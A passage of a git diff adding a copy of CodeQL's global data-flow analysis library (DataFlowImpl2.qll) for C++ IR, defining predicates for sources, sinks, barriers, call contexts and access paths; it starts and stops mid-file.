mid.getCallContext() and + m = returnNodeGetEnclosingCallable(ret) and + not innercc instanceof CallContextCall + ) +} + +/** + * Holds if data may flow from `mid` to `ma`. The last step of this path + * is a return from a method and is recorded by `cc`, if needed. + */ +pragma[noinline] +private predicate flowOutOfMethod(PathNodeMid mid, MethodAccess ma, CallContext cc) { + exists(Method m, CallContext innercc | + flowOutOfMethod0(mid, m, innercc) and + resolveReturn(innercc, m, ma) + | + if reducedViableImplInReturn(m, ma) then cc = TReturn(m, ma) else cc = TAnyCallContext() + ) +} + +private predicate flowOutOfArgument(PathNodeMid mid, PostUpdateNode node, CallContext cc) { + exists( + PostUpdateNode n, ParameterNode p, Callable callable, CallContext innercc, int i, Call call, + ArgumentNode arg + | + mid.getNode() = n and + parameterValueFlowsToUpdate(p, n) and + innercc = mid.getCallContext() and + p.isParameterOf(callable, i) and + resolveReturn(innercc, callable, call) and + node.getPreUpdateNode() = arg and + arg.argumentOf(call, i) and + flow(node, unbind(mid.getConfiguration())) + | + if reducedViableImplInReturn(callable, call) + then cc = TReturn(callable, call) + else cc = TAnyCallContext() + ) +} + +/** + * Holds if data may flow from `mid` to the `i`th argument of `call` in `cc`. + */ +pragma[noinline] +private predicate flowIntoArg(PathNodeMid mid, int i, CallContext cc, Call call, boolean emptyAp) { + exists(ArgumentNode arg, AccessPath ap | + arg = mid.getNode() and + cc = mid.getCallContext() and + arg.argumentOf(call, i) and + ap = mid.getAp() + | + ap instanceof AccessPathNil and emptyAp = true + or + ap instanceof AccessPathCons and emptyAp = false + ) +} + +pragma[noinline] +private predicate parameterCand(Callable callable, int i, Configuration config) { + exists(ParameterNode p | + flow(p, config) and + p.isParameterOf(callable, i) + ) +} + +pragma[nomagic] +private predicate flowIntoCallable0( + PathNodeMid mid, Callable callable, int i, CallContext outercc, Call call, boolean emptyAp +) { + flowIntoArg(mid, i, outercc, call, emptyAp) and + callable = resolveCall(call, outercc) and + parameterCand(callable, any(int j | j <= i and j >= i), mid.getConfiguration()) +} + +/** + * Holds if data may flow from `mid` to `p` through `call`. The contexts + * before and after entering the callable are `outercc` and `innercc`, + * respectively. + */ +private predicate flowIntoCallable( + PathNodeMid mid, ParameterNode p, CallContext outercc, CallContextCall innercc, Call call +) { + exists(int i, Callable callable, boolean emptyAp | + flowIntoCallable0(mid, callable, i, outercc, call, emptyAp) and + p.isParameterOf(callable, i) + | + if reducedViableImplInCallContext(_, callable, call) + then innercc = TSpecificCall(call, i, emptyAp) + else innercc = TSomeCall(p, emptyAp) + ) +} + +/** Holds if data may flow from `p` to a return statement in the callable. */ +pragma[nomagic] +private predicate paramFlowsThrough(ParameterNode p, CallContextCall cc, Configuration config) { + exists(PathNodeMid mid, ReturnNode ret | + mid.getNode() = ret and + cc = mid.getCallContext() and + config = mid.getConfiguration() and + mid.getAp() instanceof AccessPathNil + | + cc = TSomeCall(p, true) + or + exists(int i | cc = TSpecificCall(_, i, true) | + p.isParameterOf(returnNodeGetEnclosingCallable(ret), i) + ) + ) +} + +/** + * Holds if data may flow from `mid` to an argument of `methodcall`, + * through a called method `m`, and back out through a return statement in + * `m`. The context `cc` is restored to its value prior to entering `m`. + */ +pragma[noinline] +private predicate flowThroughMethod(PathNodeMid mid, Call methodcall, CallContext cc) { + exists(ParameterNode p, CallContext innercc | + flowIntoCallable(mid, p, cc, innercc, methodcall) and + paramFlowsThrough(p, innercc, unbind(mid.getConfiguration())) and + not parameterValueFlowsThrough(p) and + mid.getAp() instanceof AccessPathNil + ) +} + +private predicate valueFlowThroughMethod(PathNodeMid mid, Call methodcall, CallContext cc) { + exists(ParameterNode p | + flowIntoCallable(mid, p, cc, _, methodcall) and + parameterValueFlowsThrough(p) + ) +} + +/** + * Holds if data can flow (inter-procedurally) from `source` to `sink`. + * + * Will only have results if `configuration` has non-empty sources and + * sinks. + */ +private predicate flowsTo( + PathNodeSource flowsource, PathNodeSink flowsink, Node source, Node sink, + Configuration configuration +) { + flowsource.getConfiguration() = configuration and + flowsource.getNode() = source and + pathSuccPlus(flowsource, flowsink) and + flowsink.getNode() = sink +} + +/** + * Holds if data can flow (inter-procedurally) from `source` to `sink`. + * + * Will only have results if `configuration` has non-empty sources and + * sinks. + */ +predicate flowsTo(Node source, Node sink, Configuration configuration) { + flowsTo(_, _, source, sink, configuration) +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl2.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl2.qll new file mode 100644 index 00000000000..9d28e37cc8a --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl2.qll @@ -0,0 +1,1614 @@ +/** + * Provides an implementation of global (interprocedural) data flow. This file + * re-exports the local (intraprocedural) data flow analysis from `DataFlowUtil` + * and adds a global analysis, mainly exposed through the `Configuration` class. + * This file exists in several identical copies, allowing queries to use + * multiple `Configuration` classes that depend on each other without + * introducing mutual recursion among those configurations. + */ + +import DataFlowUtil +private import DataFlowPrivate +private import DataFlowDispatch +private import DataFlowImplCommon + +/** + * A configuration of interprocedural data flow analysis. This defines + * sources, sinks, and any other configurable aspect of the analysis. Each + * use of the global data flow library must define its own unique extension + * of this abstract class. To create a configuration, extend this class with + * a subclass whose characteristic predicate is a unique singleton string. + * For example, write + * + * ``` + * class MyAnalysisConfiguration extends DataFlow::Configuration { + * MyAnalysisConfiguration() { this = "MyAnalysisConfiguration" } + * // Override `isSource` and `isSink`. + * // Optionally override `isBarrier`. + * // Optionally override `isAdditionalFlowStep`. + * } + * ``` + * + * Then, to query whether there is flow between some `source` and `sink`, + * write + * + * ``` + * exists(MyAnalysisConfiguration cfg | cfg.hasFlow(source, sink)) + * ``` + * + * Multiple configurations can coexist, but two classes extending + * `DataFlow::Configuration` should never depend on each other. One of them + * should instead depend on a `DataFlow2::Configuration`, a + * `DataFlow3::Configuration`, or a `DataFlow4::Configuration`. + */ +abstract class Configuration extends string { + bindingset[this] + Configuration() { any() } + + /** + * Holds if `source` is a relevant data flow source. + */ + abstract predicate isSource(Node source); + + /** + * Holds if `sink` is a relevant data flow sink. + */ + abstract predicate isSink(Node sink); + + /** Holds if data flow through `node` is prohibited. */ + predicate isBarrier(Node node) { none() } + + /** Holds if data flow from `node1` to `node2` is prohibited. */ + predicate isBarrierEdge(Node node1, Node node2) { none() } + + /** + * Holds if the additional flow step from `node1` to `node2` must be taken + * into account in the analysis. + */ + predicate isAdditionalFlowStep(Node node1, Node node2) { none() } + + /** + * Gets the virtual dispatch branching limit when calculating field flow. + * This can be overridden to a smaller value to improve performance (a + * value of 0 disables field flow), or a larger value to get more results. + */ + int fieldFlowBranchLimit() { result = 2 } + + /** + * Holds if data may flow from `source` to `sink` for this configuration. + */ + predicate hasFlow(Node source, Node sink) { flowsTo(source, sink, this) } + + /** + * Holds if data may flow from `source` to `sink` for this configuration. + * + * The corresponding paths are generated from the end-points and the graph + * included in the module `PathGraph`. + */ + predicate hasFlowPath(PathNode source, PathNode sink) { flowsTo(source, sink, _, _, this) } + + /** + * Holds if data may flow from some source to `sink` for this configuration. + */ + predicate hasFlowTo(Node sink) { hasFlow(_, sink) } + + /** + * Holds if data may flow from some source to `sink` for this configuration. + */ + predicate hasFlowToExpr(Expr sink) { hasFlowTo(exprNode(sink)) } + + /** DEPRECATED: use `hasFlow` instead. */ + deprecated predicate hasFlowForward(Node source, Node sink) { hasFlow(source, sink) } + + /** DEPRECATED: use `hasFlow` instead. */ + deprecated predicate hasFlowBackward(Node source, Node sink) { hasFlow(source, sink) } +} + +/** + * Holds if the additional step from `node1` to `node2` jumps between callables. + */ +private predicate additionalJumpStep(Node node1, Node node2, Configuration config) { + config.isAdditionalFlowStep(node1, node2) and + node1.getEnclosingCallable() != node2.getEnclosingCallable() +} + +pragma[noinline] +private predicate isAdditionalFlowStep( + Node node1, Node node2, Callable callable1, Callable callable2, Configuration config +) { + config.isAdditionalFlowStep(node1, node2) and + callable1 = node1.getEnclosingCallable() and + callable2 = node2.getEnclosingCallable() +} + +/** + * Holds if the additional step from `node1` to `node2` does not jump between callables. + */ +private predicate additionalLocalFlowStep(Node node1, Node node2, Configuration config) { + exists(Callable callable | isAdditionalFlowStep(node1, node2, callable, callable, config)) +} + +/** + * Holds if data can flow from `node1` to `node2` through a static field or + * variable capture. + */ +private predicate jumpStep(Node node1, Node node2, boolean preservesValue, Configuration config) { + jumpStep(node1, node2) and preservesValue = true + or + additionalJumpStep(node1, node2, config) and preservesValue = false +} + +/** + * Holds if data can flow in one local step from `node1` to `node2` taking + * additional steps from the configuration into account. + */ +private predicate localFlowStep(Node node1, Node node2, boolean preservesValue, Configuration config) { + localFlowStep(node1, node2) and not config.isBarrierEdge(node1, node2) and preservesValue = true + or + additionalLocalFlowStep(node1, node2, config) and preservesValue = false +} + +pragma[noinline] +private Method returnNodeGetEnclosingCallable(ReturnNode ret) { + result = ret.getEnclosingCallable() +} + +/** + * Holds if field flow should be used for the given configuration. + */ +private predicate useFieldFlow(Configuration config) { config.fieldFlowBranchLimit() >= 1 } + +/** + * Holds if `node` is reachable from a source in the given configuration + * ignoring call contexts. + */ +private predicate nodeCandFwd1(Node node, boolean stored, Configuration config) { + not config.isBarrier(node) and + ( + config.isSource(node) and stored = false + or + exists(Node mid, boolean preservesValue | + nodeCandFwd1(mid, stored, config) and + localFlowStep(mid, node, preservesValue, config) and + (stored = false or preservesValue = true) + ) + or + exists(Node mid, boolean preservesValue | + nodeCandFwd1(mid, stored, config) and + jumpStep(mid, node, preservesValue, config) and + (stored = false or preservesValue = true) + ) + or + // store + exists(Node mid | + useFieldFlow(config) and + nodeCandFwd1(mid, _, config) and + store(mid, _, node) and + stored = true + ) + or + // read + exists(Node mid, Content f | + nodeCandFwd1(mid, true, config) and + read(mid, f, node) and + storeCandFwd1(f, unbind(config)) and + (stored = false or stored = true) + ) + or + // flow into a callable + exists(Node arg | + nodeCandFwd1(arg, stored, config) and + viableParamArg(node, arg) + ) + or + // flow out of an argument + exists(PostUpdateNode mid, ParameterNode p | + nodeCandFwd1(mid, stored, config) and + parameterValueFlowsToUpdate(p, mid) and + viableParamArg(p, node.(PostUpdateNode).getPreUpdateNode()) + ) + or + // flow out of a callable + exists(Method m, MethodAccess ma, ReturnNode ret | + nodeCandFwd1(ret, stored, config) and + m = returnNodeGetEnclosingCallable(ret) and + m = viableImpl(ma) and + node.asExpr() = ma + ) + ) +} + +/** + * Holds if `f` is the target of a store in the flow covered by `nodeCandFwd1`. + */ +private predicate storeCandFwd1(Content f, Configuration config) { + exists(Node mid, Node node | + not config.isBarrier(node) and + useFieldFlow(config) and + nodeCandFwd1(mid, _, config) and + store(mid, f, node) + ) +} + +bindingset[result, b] +private boolean unbindBool(boolean b) { result != b.booleanNot() } + +/** + * Holds if `node` is part of a path from a source to a sink in the given + * configuration ignoring call contexts. + */ +pragma[nomagic] +private predicate nodeCand1(Node node, boolean stored, Configuration config) { + nodeCandFwd1(node, false, config) and + config.isSink(node) and + stored = false + or + nodeCandFwd1(node, unbindBool(stored), unbind(config)) and + ( + exists(Node mid, boolean preservesValue | + localFlowStep(node, mid, preservesValue, config) and + nodeCand1(mid, stored, config) and + (stored = false or preservesValue = true) + ) + or + exists(Node mid, boolean preservesValue | + jumpStep(node, mid, preservesValue, config) and + nodeCand1(mid, stored, config) and + (stored = false or preservesValue = true) + ) + or + // store + exists(Node mid, Content f | + store(node, f, mid) and + readCand1(f, unbind(config)) and + nodeCand1(mid, true, config) and + (stored = false or stored = true) + ) + or + // read + exists(Node mid, Content f | + read(node, f, mid) and + storeCandFwd1(f, unbind(config)) and + nodeCand1(mid, _, config) and + stored = true + ) + or + // flow into a callable + exists(Node param | + viableParamArg(param, node) and + nodeCand1(param, stored, config) + ) + or + // flow out of an argument + exists(PostUpdateNode mid, ParameterNode p | + parameterValueFlowsToUpdate(p, node) and + viableParamArg(p, mid.getPreUpdateNode()) and + nodeCand1(mid, stored, config) + ) + or + // flow out of a callable + exists(Method m, ExprNode ma | + nodeCand1(ma, stored, config) and + m = returnNodeGetEnclosingCallable(node) and + m = viableImpl(ma.getExpr()) + ) + ) +} + +/** + * Holds if `f` is the target of a read in the flow covered by `nodeCand1`. + */ +private predicate readCand1(Content f, Configuration config) { + exists(Node mid, Node node | + useFieldFlow(config) and + nodeCandFwd1(node, true, unbind(config)) and + read(node, f, mid) and + storeCandFwd1(f, unbind(config)) and + nodeCand1(mid, _, config) + ) +} + +/** + * Holds if there is a path from `p` to `node` in the same callable that is + * part of a path from a source to a sink taking simple call contexts into + * consideration. This is restricted to paths that does not necessarily + * preserve the value of `p` by making use of at least one additional step + * from the configuration. + */ +pragma[nomagic] +private predicate simpleParameterFlow(ParameterNode p, Node node, RefType t, Configuration config) { + nodeCand1(node, false, config) and + p = node and + t = getErasedRepr(node.getType()) and + not parameterValueFlowsThrough(p) + or + nodeCand1(node, false, unbind(config)) and + exists(Node mid | + simpleParameterFlow(p, mid, t, config) and + localFlowStep(mid, node, true, config) and + compatibleTypes(t, node.getType()) + ) + or + nodeCand1(node, false, unbind(config)) and + exists(Node mid | + simpleParameterFlow(p, mid, _, config) and + localFlowStep(mid, node, false, config) and + t = getErasedRepr(node.getType()) + ) + or + nodeCand1(node, false, unbind(config)) and + exists(Node mid | + simpleParameterFlow(p, mid, t, config) and + localStoreReadStep(mid, node) and + compatibleTypes(t, node.getType()) + ) + or + // value flow through a callable + nodeCand1(node, false, config) and + exists(Node arg | + simpleParameterFlow(p, arg, t, config) and + argumentValueFlowsThrough(arg, node) and + compatibleTypes(t, node.getType()) + ) + or + // flow through a callable + nodeCand1(node, false, config) and + exists(Node arg | + simpleParameterFlow(p, arg, _, config) and + simpleArgumentFlowsThrough(arg, node, t, config) + ) +} + +/** + * Holds if data can flow from `arg` through the `call` taking simple call + * contexts into consideration and that this is part of a path from a source + * to a sink. This is restricted to paths through the `call` that does not + * necessarily preserve the value of `arg` by making use of at least one + * additional step from the configuration. + */ +private predicate simpleArgumentFlowsThrough( + ArgumentNode arg, ExprNode call, RefType t, Configuration config +) { + exists(ParameterNode param, ReturnNode ret | + nodeCand1(arg, false, unbind(config)) and + nodeCand1(call, false, unbind(config)) and + viableParamArg(param, arg) and + simpleParameterFlow(param, ret, t, config) and + arg.argumentOf(call.getExpr(), _) + ) +} + +/** + * Holds if data can flow from `node1` to `node2` by a step through a method. + */ +private predicate flowThroughMethod( + Node node1, Node node2, boolean preservesValue, Configuration config +) { + simpleArgumentFlowsThrough(node1, node2, _, config) and preservesValue = false + or + argumentValueFlowsThrough(node1, node2) and preservesValue = true +} + +/** + * Holds if data can flow from `node1` to `node2` in one local step or a step + * through a method. + */ +private predicate localFlowStepOrFlowThroughMethod( + Node node1, Node node2, boolean preservesValue, Configuration config +) { + localFlowStep(node1, node2, preservesValue, config) or + flowThroughMethod(node1, node2, preservesValue, config) +} + +/** + * Holds if data can flow out of a callable from `node1` to `node2`, either + * through a `ReturnNode` or through an argument that has been mutated, and + * that this step is part of a path from a source to a sink. + */ +private predicate flowOutOfCallable(Node node1, Node node2, Configuration config) { + nodeCand1(node1, _, unbind(config)) and + nodeCand1(node2, _, config) and + ( + // flow out of an argument + exists(ParameterNode p | + parameterValueFlowsToUpdate(p, node1) and + viableParamArg(p, node2.(PostUpdateNode).getPreUpdateNode()) + ) + or + // flow out of a method + exists(Method m, MethodAccess ma, ReturnNode ret | + ret = node1 and + m = returnNodeGetEnclosingCallable(ret) and + m = viableImpl(ma) and + node2.asExpr() = ma + ) + ) +} + +/** + * Holds if data can flow into a callable and that this step is part of a + * path from a source to a sink. + */ +private predicate flowIntoCallable(Node node1, Node node2, Configuration config) { + viableParamArg(node2, node1) and + nodeCand1(node1, _, unbind(config)) and + nodeCand1(node2, _, config) +} + +/** + * Gets the amount of forward branching on the origin of a cross-call path + * edge in the graph of paths between sources and sinks that ignores call + * contexts. + */ +private int branch(Node n1, Configuration conf) { + result = strictcount(Node n | flowOutOfCallable(n1, n, conf) or flowIntoCallable(n1, n, conf)) +} + +/** + * Gets the amount of backward branching on the target of a cross-call path + * edge in the graph of paths between sources and sinks that ignores call + * contexts. + */ +private int join(Node n2, Configuration conf) { + result = strictcount(Node n | flowOutOfCallable(n, n2, conf) or flowIntoCallable(n, n2, conf)) +} + +/** + * Holds if data can flow out of a callable from `node1` to `node2`, either + * through a `ReturnNode` or through an argument that has been mutated, and + * that this step is part of a path from a source to a sink. The + * `allowsFieldFlow` flag indicates whether the branching is within the limit + * specified by the configuration. + */ +private predicate flowOutOfCallable( + Node node1, Node node2, boolean allowsFieldFlow, Configuration config +) { + flowOutOfCallable(node1, node2, config) and + exists(int b, int j | + b = branch(node1, config) and + j = join(node2, config) and + if b.minimum(j) <= config.fieldFlowBranchLimit() + then allowsFieldFlow = true + else allowsFieldFlow = false + ) +} + +/** + * Holds if data can flow into a callable and that this step is part of a + * path from a source to a sink. The `allowsFieldFlow` flag indicates whether + * the branching is within the limit specified by the configuration. + */ +private predicate flowIntoCallable( + Node node1, Node node2, boolean allowsFieldFlow, Configuration config +) { + flowIntoCallable(node1, node2, config) and + exists(int b, int j | + b = branch(node1, config) and + j = join(node2, config) and + if b.minimum(j) <= config.fieldFlowBranchLimit() + then allowsFieldFlow = true + else allowsFieldFlow = false + ) +} + +/** + * Holds if `node` is part of a path from a source to a sink in the given + * configuration taking simple call contexts into consideration. + */ +private predicate nodeCandFwd2(Node node, boolean fromArg, boolean stored, Configuration config) { + nodeCand1(node, false, config) and + config.isSource(node) and + fromArg = false and + stored = false + or + nodeCand1(node, unbindBool(stored), unbind(config)) and + ( + exists(Node mid, boolean preservesValue | + nodeCandFwd2(mid, fromArg, stored, config) and + localFlowStepOrFlowThroughMethod(mid, node, preservesValue, config) and + (stored = false or preservesValue = true) + ) + or + exists(Node mid, boolean preservesValue | + nodeCandFwd2(mid, _, stored, config) and + jumpStep(mid, node, preservesValue, config) and + fromArg = false and + (stored = false or preservesValue = true) + ) + or + // store + exists(Node mid, Content f | + nodeCandFwd2(mid, fromArg, _, config) and + store(mid, f, node) and + readCand1(f, unbind(config)) and + stored = true + ) + or + // read + exists(Node mid, Content f | + nodeCandFwd2(mid, fromArg, true, config) and + read(mid, f, node) and + storeCandFwd2(f, unbind(config)) and + (stored = false or stored = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + nodeCandFwd2(mid, _, stored, config) and + flowIntoCallable(mid, node, allowsFieldFlow, config) and + fromArg = true and + (stored = false or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + nodeCandFwd2(mid, false, stored, config) and + flowOutOfCallable(mid, node, allowsFieldFlow, config) and + fromArg = false and + (stored = false or allowsFieldFlow = true) + ) + ) +} + +/** + * Holds if `f` is the target of a store in the flow covered by `nodeCandFwd2`. + */ +private predicate storeCandFwd2(Content f, Configuration config) { + exists(Node mid, Node node | + useFieldFlow(config) and + nodeCand1(node, true, unbind(config)) and + nodeCandFwd2(mid, _, _, config) and + store(mid, f, node) and + readCand1(f, unbind(config)) + ) +} + +/** + * Holds if `node` is part of a path from a source to a sink in the given + * configuration taking simple call contexts into consideration. + */ +private predicate nodeCand2(Node node, boolean toReturn, boolean stored, Configuration config) { + nodeCandFwd2(node, _, false, config) and + config.isSink(node) and + toReturn = false and + stored = false + or + nodeCandFwd2(node, _, unbindBool(stored), unbind(config)) and + ( + exists(Node mid, boolean preservesValue | + localFlowStepOrFlowThroughMethod(node, mid, preservesValue, config) and + nodeCand2(mid, toReturn, stored, config) and + (stored = false or preservesValue = true) + ) + or + exists(Node mid, boolean preservesValue | + jumpStep(node, mid, preservesValue, config) and + nodeCand2(mid, _, stored, config) and + toReturn = false and + (stored = false or preservesValue = true) + ) + or + // store + exists(Node mid, Content f | + store(node, f, mid) and + readCand2(f, unbind(config)) and + nodeCand2(mid, toReturn, true, config) and + (stored = false or stored = true) + ) + or + // read + exists(Node mid, Content f | + read(node, f, mid) and + storeCandFwd2(f, unbind(config)) and + nodeCand2(mid, toReturn, _, config) and + stored = true + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowIntoCallable(node, mid, allowsFieldFlow, config) and + nodeCand2(mid, false, stored, config) and + toReturn = false and + (stored = false or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowOutOfCallable(node, mid, allowsFieldFlow, config) and + nodeCand2(mid, _, stored, config) and + toReturn = true and + (stored = false or allowsFieldFlow = true) + ) + ) +} + +/** + * Holds if `f` is the target of a read in the flow covered by `nodeCand2`. + */ +private predicate readCand2(Content f, Configuration config) { + exists(Node mid, Node node | + useFieldFlow(config) and + nodeCandFwd2(node, _, true, unbind(config)) and + read(node, f, mid) and + storeCandFwd2(f, unbind(config)) and + nodeCand2(mid, _, _, config) + ) +} + +private predicate storeCand(Content f, Configuration conf) { + exists(Node n1, Node n2 | + store(n1, f, n2) and + nodeCand2(n1, _, _, conf) and + nodeCand2(n2, _, _, unbind(conf)) + ) +} + +private predicate readCand(Content f, Configuration conf) { readCand2(f, conf) } + +/** + * Holds if `f` is the target of both a store and a read in the path graph + * covered by `nodeCand2`. + */ +pragma[noinline] +private predicate readStoreCand(Content f, Configuration conf) { + storeCand(f, conf) and + readCand(f, conf) +} + +private predicate nodeCand(Node node, Configuration config) { nodeCand2(node, _, _, config) } + +/** + * Holds if `node` can be the first node in a maximal subsequence of local + * flow steps in a dataflow path. + */ +private predicate localFlowEntry(Node node, Configuration config) { + nodeCand(node, config) and + ( + config.isSource(node) or + jumpStep(_, node, _, config) or + node instanceof ParameterNode or + node.asExpr() instanceof MethodAccess or + node instanceof PostUpdateNode or + read(_, _, node) or + node.asExpr() instanceof CastExpr + ) +} + +/** + * Holds if `node` can be the last node in a maximal subsequence of local + * flow steps in a dataflow path. + */ +private predicate localFlowExit(Node node, Configuration config) { + exists(Node next | nodeCand(next, config) | + jumpStep(node, next, _, config) or + flowIntoCallable(node, next, config) or + flowOutOfCallable(node, next, config) or + flowThroughMethod(node, next, _, config) or + store(node, _, next) or + read(node, _, next) + ) + or + node.asExpr() instanceof CastExpr + or + config.isSink(node) +} + +/** + * Holds if the local path from `node1` to `node2` is a prefix of a maximal + * subsequence of local flow steps in a dataflow path. + * + * This is the transitive closure of `localFlowStep` beginning at `localFlowEntry`. + */ +private predicate localFlowStepPlus( + Node node1, Node node2, boolean preservesValue, Configuration config +) { + localFlowEntry(node1, config) and + localFlowStep(node1, node2, preservesValue, config) and + node1 != node2 and + nodeCand(node2, unbind(config)) + or + exists(Node mid, boolean pv1, boolean pv2 | + localFlowStepPlus(node1, mid, pv1, config) and + localFlowStep(mid, node2, pv2, config) and + not mid.asExpr() instanceof CastExpr and + preservesValue = pv1.booleanAnd(pv2) and + nodeCand(node2, unbind(config)) + ) +} + +/** + * Holds if `node1` can step to `node2` in one or more local steps and this + * path can occur as a maximal subsequence of local steps in a dataflow path. + */ +pragma[noinline] +private predicate localFlowBigStep( + Node node1, Node node2, boolean preservesValue, Configuration config +) { + localFlowStepPlus(node1, node2, preservesValue, config) and + localFlowExit(node2, config) +} + +private newtype TAccessPathFront = + TFrontNil(Type t) or + TFrontHead(Content f) + +/** + * The front of an `AccessPath`. This is either a head or a nil. + */ +private class AccessPathFront extends TAccessPathFront { + string toString() { + exists(Type t | this = TFrontNil(t) | result = ppReprType(t)) + or + exists(Content f | this = TFrontHead(f) | result = f.toString()) + } + + Type getType() { + this = TFrontNil(result) + or + exists(Content head | this = TFrontHead(head) | result = head.getContainerType()) + } + + predicate headUsesContent(Content f) { this = TFrontHead(f) } +} + +private class AccessPathFrontNil extends AccessPathFront, TFrontNil { } + +/** + * A `Node` at which a cast can occur such that the type should be checked. + */ +private class CastingNode extends Node { + CastingNode() { + this instanceof ParameterNode or + this.asExpr() instanceof CastExpr or + this.asExpr() instanceof MethodAccess or + this.(PostUpdateNode).getPreUpdateNode() instanceof ArgumentNode + } +} + +/** + * Holds if data can flow from a source to `node` with the given `apf`. + */ +private predicate flowCandFwd(Node node, boolean fromArg, AccessPathFront apf, Configuration config) { + flowCandFwd0(node, fromArg, apf, config) and + if node instanceof CastingNode then compatibleTypes(node.getType(), apf.getType()) else any() +} + +private predicate flowCandFwd0(Node node, boolean fromArg, AccessPathFront apf, Configuration config) { + nodeCand2(node, _, false, config) and + config.isSource(node) and + fromArg = false and + apf = TFrontNil(getErasedRepr(node.getType())) + or + nodeCand(node, unbind(config)) and + ( + exists(Node mid | + flowCandFwd(mid, fromArg, apf, config) and + localFlowBigStep(mid, node, true, config) + ) + or + exists(Node mid, AccessPathFront apf0 | + flowCandFwd(mid, fromArg, apf0, config) and + localFlowBigStep(mid, node, false, config) and + apf0 instanceof AccessPathFrontNil and + apf = TFrontNil(getErasedRepr(node.getType())) + ) + or + exists(Node mid | + flowCandFwd(mid, _, apf, config) and + jumpStep(mid, node, true, config) and + fromArg = false + ) + or + exists(Node mid, AccessPathFront apf0 | + flowCandFwd(mid, _, apf0, config) and + jumpStep(mid, node, false, config) and + fromArg = false and + apf0 instanceof AccessPathFrontNil and + apf = TFrontNil(getErasedRepr(node.getType())) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowCandFwd(mid, _, apf, config) and + flowIntoCallable(mid, node, allowsFieldFlow, config) and + fromArg = true and + (apf instanceof AccessPathFrontNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowCandFwd(mid, false, apf, config) and + flowOutOfCallable(mid, node, allowsFieldFlow, config) and + fromArg = false and + (apf instanceof AccessPathFrontNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean preservesValue, AccessPathFront apf0 | + flowCandFwd(mid, fromArg, apf0, config) and + flowThroughMethod(mid, node, preservesValue, config) and + ( + preservesValue = true and apf = apf0 + or + preservesValue = false and + apf0 instanceof AccessPathFrontNil and + apf = TFrontNil(getErasedRepr(node.getType())) + ) + ) + ) + or + exists(Node mid, Content f | + flowCandFwd(mid, fromArg, _, config) and + store(mid, f, node) and + nodeCand(node, unbind(config)) and + apf.headUsesContent(f) + ) + or + exists(Node mid, Content f, AccessPathFront apf0 | + flowCandFwd(mid, fromArg, apf0, config) and + read(mid, f, node) and + nodeCand(node, config) and + apf0.headUsesContent(f) and + consCandFwd(f, apf, unbind(config)) + ) +} + +private predicate consCandFwd(Content f, AccessPathFront apf, Configuration config) { + exists(Node mid, Node n | + flowCandFwd(mid, _, apf, config) and + store(mid, f, n) and + nodeCand(n, unbind(config)) and + readStoreCand(f, unbind(config)) and + compatibleTypes(apf.getType(), f.getType()) + ) +} + +/** + * Holds if data can flow from a source to `node` with the given `apf` and + * from there flow to a sink. + */ +private predicate flowCand(Node node, boolean toReturn, AccessPathFront apf, Configuration config) { + flowCand0(node, toReturn, apf, config) and + flowCandFwd(node, _, apf, config) +} + +private predicate flowCand0(Node node, boolean toReturn, AccessPathFront apf, Configuration config) { + flowCandFwd(node, _, apf, config) and + config.isSink(node) and + toReturn = false and + apf instanceof AccessPathFrontNil + or + ( + exists(Node mid | + localFlowBigStep(node, mid, true, config) and + flowCand(mid, toReturn, apf, config) + ) + or + exists(Node mid, AccessPathFront apf0 | + flowCandFwd(node, _, apf, config) and + localFlowBigStep(node, mid, false, config) and + flowCand(mid, toReturn, apf0, config) and + apf0 instanceof AccessPathFrontNil and + apf instanceof AccessPathFrontNil + ) + or + exists(Node mid | + jumpStep(node, mid, true, config) and + flowCand(mid, _, apf, config) and + toReturn = false + ) + or + exists(Node mid, AccessPathFront apf0 | + flowCandFwd(node, _, apf, config) and + jumpStep(node, mid, false, config) and + flowCand(mid, _, apf0, config) and + toReturn = false and + apf0 instanceof AccessPathFrontNil and + apf instanceof AccessPathFrontNil + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowIntoCallable(node, mid, allowsFieldFlow, config) and + flowCand(mid, false, apf, config) and + toReturn = false and + (apf instanceof AccessPathFrontNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowOutOfCallable(node, mid, allowsFieldFlow, config) and + flowCand(mid, _, apf, config) and + toReturn = true and + (apf instanceof AccessPathFrontNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean preservesValue, AccessPathFront apf0 | + flowThroughMethod(node, mid, preservesValue, config) and + flowCand(mid, toReturn, apf0, config) and + ( + preservesValue = true and apf = apf0 + or + preservesValue = false and + apf0 instanceof AccessPathFrontNil and + apf instanceof AccessPathFrontNil and + flowCandFwd(node, _, apf, config) + ) + ) + or + exists(Node mid, Content f, AccessPathFront apf0 | + store(node, f, mid) and + flowCand(mid, toReturn, apf0, config) and + apf0.headUsesContent(f) and + consCand(f, apf, unbind(config)) + ) + or + exists(Node mid, Content f, AccessPathFront apf0 | + read(node, f, mid) and + flowCand(mid, toReturn, apf0, config) and + consCandFwd(f, apf0, unbind(config)) and + apf.headUsesContent(f) + ) + ) +} + +private predicate consCand(Content f, AccessPathFront apf, Configuration config) { + consCandFwd(f, apf, config) and + exists(Node mid, Node n, AccessPathFront apf0 | + flowCandFwd(n, _, apf0, config) and + apf0.headUsesContent(f) and + read(n, f, mid) and + flowCand(mid, _, apf, config) + ) +} + +private newtype TAccessPath = + TNil(Type t) or + TCons(Content f, int len) { len in [1 .. 5] } + +/** + * Conceptually a list of `Content`s followed by a `Type`, but only the first + * element of the list and its length are tracked. If data flows from a source to + * a given node with a given `AccessPath`, this indicates the sequence of + * dereference operations needed to get from the value in the node to the + * tracked object. The final type indicates the type of the tracked object. + */ +private class AccessPath extends TAccessPath { + abstract string toString(); + + Content getHead() { this = TCons(result, _) } + + int len() { + this = TNil(_) and result = 0 + or + this = TCons(_, result) + } + + Type getType() { + this = TNil(result) + or + exists(Content head | this = TCons(head, _) | result = head.getContainerType()) + } 